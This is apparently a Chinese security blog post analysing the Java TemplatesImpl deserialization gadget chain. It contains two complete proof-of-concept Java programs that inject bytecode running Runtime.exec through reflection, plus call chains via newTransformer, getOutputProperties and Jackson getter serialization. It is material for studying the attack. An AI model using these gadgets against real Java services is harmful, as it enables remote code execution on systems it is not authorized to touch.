Last updated on September 27, 2024 am
介绍
TemplatesImep
利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader
,该类继承了ClassLoader
并且重写了loadClass
,我们可以通过这个类加载器进行加载字节码,然后初始化执行恶意代码。
TemplatesImep利用链其实就是CC3的一些扩展。
链子1
1
| TemplateImplTest::getTransletInstance->TemplateImplTest::defineTransletClasses->TransletClassLoader::defineClass
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class TemplateImplTest {
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("TemplateImplTest"); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor ctConstructor=cc.makeClassInitializer(); ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); cc.writeFile();
byte[] code=Files.readAllBytes(Paths.get("D:\\CTFtmp\\demo\\TemplateImplTest.class")); byte[][] codes={code}; TemplatesImpl templates=new TemplatesImpl(); setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templates,"_name","fru1ts"); Method defineTransletClasses=templates.getClass().getDeclaredMethod("getTransletInstance"); defineTransletClasses.setAccessible(true); defineTransletClasses.invoke(templates); } public static void setFieldValue(Object obj,String field,Object arg ) throws Exception{ Field f= obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj,arg); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class TemplateImplTest {
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc=pool.makeClass("a"); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor ctConstructor=cc.makeClassInitializer(); ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=cc.toBytecode(); TemplatesImpl templates=new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{bytes}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templates,"_name","fru1ts"); Method defineTransletClasses=templates.getClass().getDeclaredMethod("getTransletInstance"); defineTransletClasses.setAccessible(true); defineTransletClasses.invoke(templates); } public static void setFieldValue(Object obj,String field,Object arg ) throws Exception{ Field f= obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj,arg); } }
|
链子2
链子1延长而已
1
| TemplatesImpl::newTransformer->TemplatesImpl::getTransletInstance->TemplatesImpl::defineTransletClasses->TransletClassLoader::defineClass
|
链子3
链子2再延长而已
1
| TemplatesImpl::getOutputProperties->TemplatesImpl::newTransformer->TemplatesImpl::getTransletInstance->TemplatesImpl::defineTransletClasses->TransletClassLoader::defineClass
|
不过getOutputProperties是public可以直接调用,不需要反射。
TempatesImpl触发任意getter
这里的getter是指以get开头的方法
1
| ObjectMapper::writeValueAsString->ObjectMapper::_writeValueAndClose->DefaultSerializerProvider::serializeValue->DefaultSerializerProvider::_serialize->BeanSerializer::serialize->BeanSerializer::serializeFields->BeanPropertyWriter::serializeAsField
|
BeanSerializer::serializeFields会遍历所有getter,每个get都会调用BeanPropertyWriter::serializeAsField
通过 this._accessorMethod.invoke(bean, (Object[])null);
调用getter。
参考
TemplatesImpl利用链分析 - seizer-zyx - 博客园 (cnblogs.com)